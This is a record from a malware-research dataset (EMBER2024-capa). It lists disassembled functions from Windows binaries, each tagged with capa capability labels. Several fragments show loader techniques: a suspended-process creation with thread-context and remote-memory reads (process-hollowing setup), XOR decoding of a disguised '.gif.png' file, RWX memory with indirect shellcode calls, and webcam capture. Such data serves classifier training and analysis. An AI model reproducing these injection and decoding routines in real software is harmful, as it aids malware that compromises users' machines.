joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450b10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4876fb
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
push ebx
push esi
push edi
mov eax, dword [0x4ace70]
xor eax, esp
push eax
lea eax, [esp + 0x9c]
mov dword fs:[0], eax
mov edi, ecx
push ecx
mov ecx, dword [esp + 0xb0]
mov eax, esp
xor ebx, ebx
mov dword [eax], ecx
mov esi, dword [esp + 0xb0]
mov dword [esp + 0x1c], esp
push ebx
lea ecx, [esp + 0x20]
mov dword [esp + 0xac], ebx
call fcn.004683c9
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
jae 0x450b74
inc eax
mov dword [esi + 4], eax
lea ecx, [esp + 0x1c]
call fcn.004683f1
lea edx, [esp + 0x14]
push edx
mov ecx, edi
call fcn.00450a40
mov al, byte [esp + 0x10]
movzx ecx, al
neg ecx
sbb ecx, ecx
test ecx, 0x41a9c0
je 0x450bd7
mov dl, byte [esp + 0x11]
mov byte [esp + 0x17], dl
cmp al, bl
je 0x450bac
mov byte [esp + 0x10], bl
lea ecx, [esp + 0xac]
call fcn.00415350
mov al, byte [esp + 0x17]
mov ecx, dword [esp + 0x9c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x98
ret 4
push 0x1c
push str.conversion_of_data_to_type__
lea ecx, [esp + 0x24]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.0040edd0
push 0x4b6834
mov ecx, 0x4ab138
mov byte [esp + 0xa8], 1
call fcn.004697a9
push eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x5c]
push ecx
call fcn.00421b30
push str.__failed
push eax
lea edx, [esp + 0x4c]
push edx
mov byte [esp + 0xbc], 2
call fcn.00421b30
add esp, 0x18
push edi
push eax
lea ecx, [esp + 0x78]
mov byte [esp + 0xac], 3
call fcn.00422120
push 0x284
push str.C:_boost_1_45_0_boost_property_tree_detail_ptree_implementation.hpp
push str.bool___thiscall_boost::property_tree::basic_ptree_class_std::basic_string_wchar_t_struct_std::char_traits_wchar_t__class_std::allocator_wchar_t____class_std::basic_string_wchar_t_struct_std::char_traits_wchar_t__class_std::allocator_wchar_t____struct_boost::property_tree::detail::less_nocase_class_std::basic_string_wchar_t_struct_std::char_traits_wchar_t__class_std::allocator_wchar_t_______::get_value_bool_class_boost::property_tree::stream_translator_wchar_t_struct_std::char_traits_wchar_t__class_std::allocator_wchar_t__bool___class_boost::property_tree::stream_translator_wchar_t_struct_std::char_traits_wchar_t__class_std::allocator_wchar_t__bool___const
push eax
mov byte [esp + 0xb4], 4
call fcn.00422190
int3

Function at 0x454490
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x144], 0
lea eax, [esi + 0x144]
jne 0x4544b5
push eax
push 0
push esi
push 0x454140
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [esi + 0x24], eax
mov al, 1
pop esi
ret
Function at 0x4544f0
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x4ace70]
xor eax, esp
mov dword [esp + 0x114], eax
push 0x110
lea eax, [esp + 8]
push 0
push eax
call fcn.0046a210
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x45455a
mov eax, dword [esp + 4]
cmp eax, 5
jae 0x454543
cmp eax, 4
jne 0x45455a
cmp dword [esp + 8], 0x5a
jb 0x45455a
xor eax, eax
mov ecx, dword [esp + 0x114]
xor ecx, esp
call fcn.00469e0a
add esp, 0x118
ret
mov ecx, dword [esp + 0x114]
xor ecx, esp
mov eax, 1
call fcn.00469e0a
add esp, 0x118
ret

Function at 0x454706
Capabilities:
Hide graphical window

Disassembly:
inc dword [0x4b6454]
push esi
mov esi, ecx
cmp dword [esi + 0x154], 0
je 0x454789
mov ecx, dword [esi + 0x154]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
call edx
test al, al
jne 0x454789
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x45473d
mov ecx, dword [esi + 4]
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [esi + 0x154], 0
je 0x454753
mov ecx, dword [esi + 0x154]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [0x4b6454]
mov eax, 0xcccccccd
mul ecx
shr edx, 3
lea edx, [edx + edx*4]
add edx, edx
sub ecx, edx
jne 0x4547b3
push 0x900000
push 0x500000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor eax, eax
pop esi
ret 0x10
mov eax, dword [esi + 4]
push 0x4d2
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [esi + 4]
push 0
push 0
push 0x10
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop esi
ret 0x10
Function at 0x45b720
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x4ace70]
xor eax, esp
mov dword [esp + 0x114], eax
push 0x110
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0x114
call fcn.0046a210
add esp, 0xc
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x45b77f
cmp dword [esp + 4], 6
jb 0x45b77f
mov eax, 1
mov ecx, dword [esp + 0x114]
xor ecx, esp
call fcn.00469e0a
add esp, 0x118
ret
mov ecx, dword [esp + 0x114]
xor ecx, esp
xor eax, eax
call fcn.00469e0a
add esp, 0x118
ret
Function at 0x461e97
Capabilities:
Capture webcam image

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
mov eax, dword [ebx]
push esi
mov esi, ecx
cmp eax, dword [esi + 4]
je 0x461eb3
mov ecx, dword [esp + 0x14]
pop esi
mov dword [ecx], 0
mov eax, 1
pop ebx
ret 0xc
push edi
mov edi, dword [sym.imp.USER32.dll_GetFocus]
call edi
cmp eax, dword [esi + 4]
je 0x461ee2
test byte [esi + 0x58], 4
je 0x461ed8
cmp dword [esi + 0xac], 0
jne 0x461ed8
call edi
mov dword [esi + 0xac], eax
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebx + 0xc]
push 0
push eax
mov eax, dword [esi + 4]
push 0x419
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
and byte [esi + 0x84], 0xcf
push 1
push eax
mov ecx, esi
call fcn.00461b30
pop edi
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x463fb0
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
mov eax, dword [ecx]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x463fd0
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, ecx
test esi, esi
jne 0x463fe4
pop edi
lea eax, [esi + 0xd]
pop esi
ret 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
lea eax, [eax + eax + 2]
push eax
mov eax, dword [edi]
push esi
push ecx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
ret 0xc

Function at 0x464010
Capabilities:
Set registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
mov dword [esp + 4], ecx
test ebp, ebp
jne 0x464026
lea eax, [ebp + 0xd]
pop ebp
pop ecx
ret 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
xor edi, edi
mov esi, ebp
push esi
call ebx
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x464033
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret 8
Function at 0x464660
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x4ace70]
xor eax, esp
mov dword [esp + 0x228], eax
mov eax, dword [ecx]
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ecx + 4]
push edi
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0x1c]
push ecx
xor ebx, ebx
or esi, 0x2001f
push esi
push ebx
push edx
push eax
mov dword [esp + 0x38], edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [esp + 0x10]
mov edi, eax
cmp edi, ebx
jne 0x4646df
xor eax, eax
cmp ecx, ebx
je 0x4646c7
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x1c]
and esi, 0x300
mov edi, eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], esi
cmp eax, ebx
je 0x464703
cmp ecx, ebx
je 0x4646ea
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x228]
xor ecx, esp
call fcn.00469e0a
mov esp, ebp
pop ebp
ret 4
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
lea edx, [esp + 0x44]
push edx
push ebx
push ecx
mov dword [esp + 0x38], 0x100
call esi
test eax, eax
jne 0x46476a
jmp 0x464730
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x14]
call fcn.00464660
mov edi, eax
cmp edi, ebx
jne 0x4647b9
lea ecx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x14]
push ebx
push ebx
push ebx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x44]
push eax
push ebx
push ecx
mov dword [esp + 0x38], 0x100
call esi
test eax, eax
je 0x464730
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x46477d
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x10], ebx
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push edx
mov dword [esp + 0x18], ebx
call fcn.00463ef0
mov esi, eax
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4647a0
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x228]
xor ecx, esp
call fcn.00469e0a
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4647c8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x234]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00469e0a
mov esp, ebp
pop ebp
ret 4
Function at 0x466240
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x408]
sub esp, 0x408
push 0xffffffffffffffff
push 0x4887e0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x4ace70]
xor eax, ebp
mov dword [ebp + 0x404], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x410]
mov edi, dword [ebp + 0x414]
mov ebx, dword [ebp + 0x418]
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp], edx
push 2
push edx
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
jne 0x4662c2
call fcn.00455e20
mov edi, eax
jmp 0x4663a4
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4662db
call fcn.00455e20
jmp 0x46639b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
jne 0x4662f6
call fcn.00455e20
jmp 0x46639b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
mov dword [ebp - 0x18], edi
cmp eax, edi
jae 0x46632c
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x46631a
lea ecx, [ebp]
call fcn.00464630
lea ecx, [ebp - 0x20]
call fcn.004547f0
mov eax, 0x8007000e
jmp 0x4663b6
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 2
call fcn.00464fa0
mov dword [ebp - 4], 1
jmp 0x466358
mov eax, dword [ebp]
test eax, eax
jne 0x466366
mov edi, 0x8007000e
jmp 0x46639d
push edi
push eax
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x46637f
call fcn.00455e20
jmp 0x46639b
mov edx, dword [ebp]
xor ecx, ecx
mov word [edx + eax*2], cx
mov eax, dword [ebp + 0x41c]
mov ecx, dword [ebp]
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00465fa0
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp + 4]
cmp dword [ebp], edx
je 0x4663b4
lea ecx, [ebp]
call fcn.00464630
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x404]
xor ecx, ebp
call fcn.00469e0a
add ebp, 0x408
mov esp, ebp
pop ebp
ret 0x10
Function at 0x466e10
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1a0
mov eax, dword [0x4ace70]
xor eax, esp
mov dword [esp + 0x19c], eax
push esi
mov esi, dword [esp + 0x1a8]
lea eax, [esp + 0x10]
push eax
push 1
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 4]
call fcn.00436800
push 1
call fcn.00444b90
add esp, 4
test al, al
jne 0x466e73
lea ecx, [esp + 4]
call fcn.004170f0
xor eax, eax
pop esi
mov ecx, dword [esp + 0x19c]
xor ecx, esp
call fcn.00469e0a
add esp, 0x1a0
ret 0x10
push str.explorer.exe
call fcn.00466d00
add esp, 4
lea ecx, [esp + 4]
test al, al
je 0x466e54
push 0
push str.explorer.exe
push str.A1277950_FDF0_4a0d_9926_7A8879A2F339
push esi
call fcn.00436ab0
test al, al
jne 0x466e50
mov ecx, 0x4b6508
call fcn.00444a30
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefWindowProcW]
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 8
mov dword [esp + 0x10], 0x404
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0
push esi
push 0
mov ecx, 0x4b64c8
call fcn.00463c80
call fcn.00462de0
mov edx, dword [esp + 0x1b4]
mov eax, dword [esp + 0x1b0]
push edx
push eax
call fcn.00466b20
add esp, 8
mov ecx, 0x4b64c8
mov esi, eax
call fcn.004660f0
call dword [sym.imp.ole32.dll_CoUninitialize]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [esp + 4]
call fcn.004170f0
mov ecx, dword [esp + 0x1a0]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00469e0a
add esp, 0x1a0
ret 0x10
Function at 0x4679a9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4b653c], 0
push esi
jne 0x46791c
call fcn.00467842
test eax, eax
je 0x46795f
mov eax, dword [0x4b653c]
cmp eax, 1
jne 0x46793d
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x46795f
pop esi
ret
push eax
call dword [0x4b6544]
test eax, eax
jne 0x4679a7
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x467963
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4b653c]
call dword [0x4b6544]
mov edi, eax
test edi, edi
je 0x467988
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4679a4
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4b653c]
call dword [0x4b6540]
add edi, 0x10
cmp edi, esi
jb 0x467990
mov eax, edi
pop edi
pop esi
ret
jmp 0x467909

Function at 0x469e0a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ace70]
jne 0x469e14
repz ret
jmp fcn.00472dcc

Function at 0x46c9de
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x46ca0f
call fcn.0046ddda
mov dword [eax], esi
call fcn.0046ddc7
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00469f50
add esp, 0x14
push 0x16
pop eax
jmp 0x46ca64
test dword [ebp + 0xc], 0xfffffff9
jne 0x46c9eb
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x46ca3c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0046dded
pop ecx
call fcn.0046ddc7
mov eax, dword [eax]
jmp 0x46ca64
test al, 0x10
jne 0x46ca62
test al, 1
je 0x46ca62
test byte [ebp + 0xc], 2
je 0x46ca62
call fcn.0046ddda
mov dword [eax], 5
call fcn.0046ddc7
mov dword [eax], 0xd
jmp 0x46ca33
xor eax, eax
pop esi
pop ebp
ret
Function at 0x4807b8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0047262b
and dword [ebp - 4], 0
cmp dword [0x4b73fc], 0
mov ebx, eax
jne 0x480869
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x48091a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x48091a
push eax
call fcn.004725b9
mov dword [esp], 0x494404
push edi
mov dword [0x4b73fc], eax
call esi
push eax
call fcn.004725b9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4b7400], eax
call esi
push eax
call fcn.004725b9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4b7404], eax
call esi
push eax
call fcn.004725b9
pop ecx
mov dword [0x4b740c], eax
test eax, eax
je 0x480869
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004725b9
pop ecx
mov dword [0x4b7408], eax
mov eax, dword [0x4b7408]
cmp eax, ebx
je 0x4808c1
cmp dword [0x4b740c], ebx
je 0x4808c1
push eax
call fcn.00472634
push dword [0x4b740c]
mov esi, eax
call fcn.00472634
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4808c1
test edi, edi
je 0x4808c1
call esi
test eax, eax
je 0x4808b8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4808b8
test byte [ebp - 0xc], 1
jne 0x4808c1
or dword [ebp + 0x10], 0x200000
jmp 0x4808fa
mov eax, dword [0x4b7400]
cmp eax, ebx
je 0x4808fa
push eax
call fcn.00472634
pop ecx
test eax, eax
je 0x4808fa
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4808fa
mov eax, dword [0x4b7404]
cmp eax, ebx
je 0x4808fa
push eax
call fcn.00472634
pop ecx
test eax, eax
je 0x4808fa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4b73fc]
call fcn.00472634
pop ecx
test eax, eax
je 0x48091a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x48091c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001510
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], edx
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x44
push eax
push 0
push 0
push 4
push 0
xorps xmm0, xmm0
push 0
push 0
push ecx
push 0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movups xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 8], eax
test eax, eax
je 0x10001608
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetThreadContext
push 0x10024fec
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0x10024ffc
push 0x10024fec
mov ebx, eax
call edi
push eax
call esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 0x18]
mov dword [eax], ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push esi
push edx
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
mov dword [esi], 0x10007
call ebx
mov edi, dword [ebp + 0x14]
lea eax, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push eax
mov eax, dword [esi + 0xa4]
push 4
push edi
add eax, 8
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [edi]
lea eax, [ebp - 0x38]
push 0x1c
push eax
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov eax, dword [ebp + 0x18]
sub esi, dword [edi]
pop edi
mov dword [eax], esi
mov eax, dword [ebp - 8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001920
Capabilities:
Encode data using xor

Disassembly:
movaps xmm1, xmmword [0x100251a0]
xor eax, eax
test edx, edx
je 0x10001974
cmp edx, 0x10
jb 0x1000195f
push esi
mov esi, edx
and esi, 0xfffffff0
nop dword [eax + eax]
movups xmm0, xmmword [ecx]
add eax, 0x10
xorps xmm0, xmm1
paddb xmm0, xmm1
xorps xmm0, xmm1
movups xmmword [ecx], xmm0
add ecx, 0x10
cmp eax, esi
jb 0x10001940
pop esi
cmp eax, edx
jae 0x10001974
sub edx, eax
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
mov byte [ecx - 1], al
sub edx, 1
jne 0x10001961
ret

Function at 0x10001980
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 1
push dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100019b3
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.100070ce
push esi
mov edi, eax
push 0
push edi
call fcn.100089a0
add esp, 0x10
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov edx, esi
mov ecx, edi
call fcn.10001920
push dword [ebp - 8]
mov edx, esi
mov ecx, edi
push dword [ebp - 0xc]
call fcn.100018a0
push edi
mov esi, eax
call fcn.10006d71
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003370
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
mov eax, dword [0x1009e040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
lea esi, [ebp - 0x214]
lea edi, [ebp - 0x318]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x110]
mov ecx, 0x41
lea esi, [ebp - 0x214]
lea edi, [ebp - 0x110]
push 0x5c
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.10001130
mov byte [eax], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
mov dword [ebp - 0xc], 0x2e666967
push eax
push 0x1002513c
push eax
mov dword [ebp - 8], 0x676e70
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x110]
push eax
lea edx, [ebp - 0x31c]
lea ecx, [ebp - 0x318]
call fcn.10001980
add esp, 0x1c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]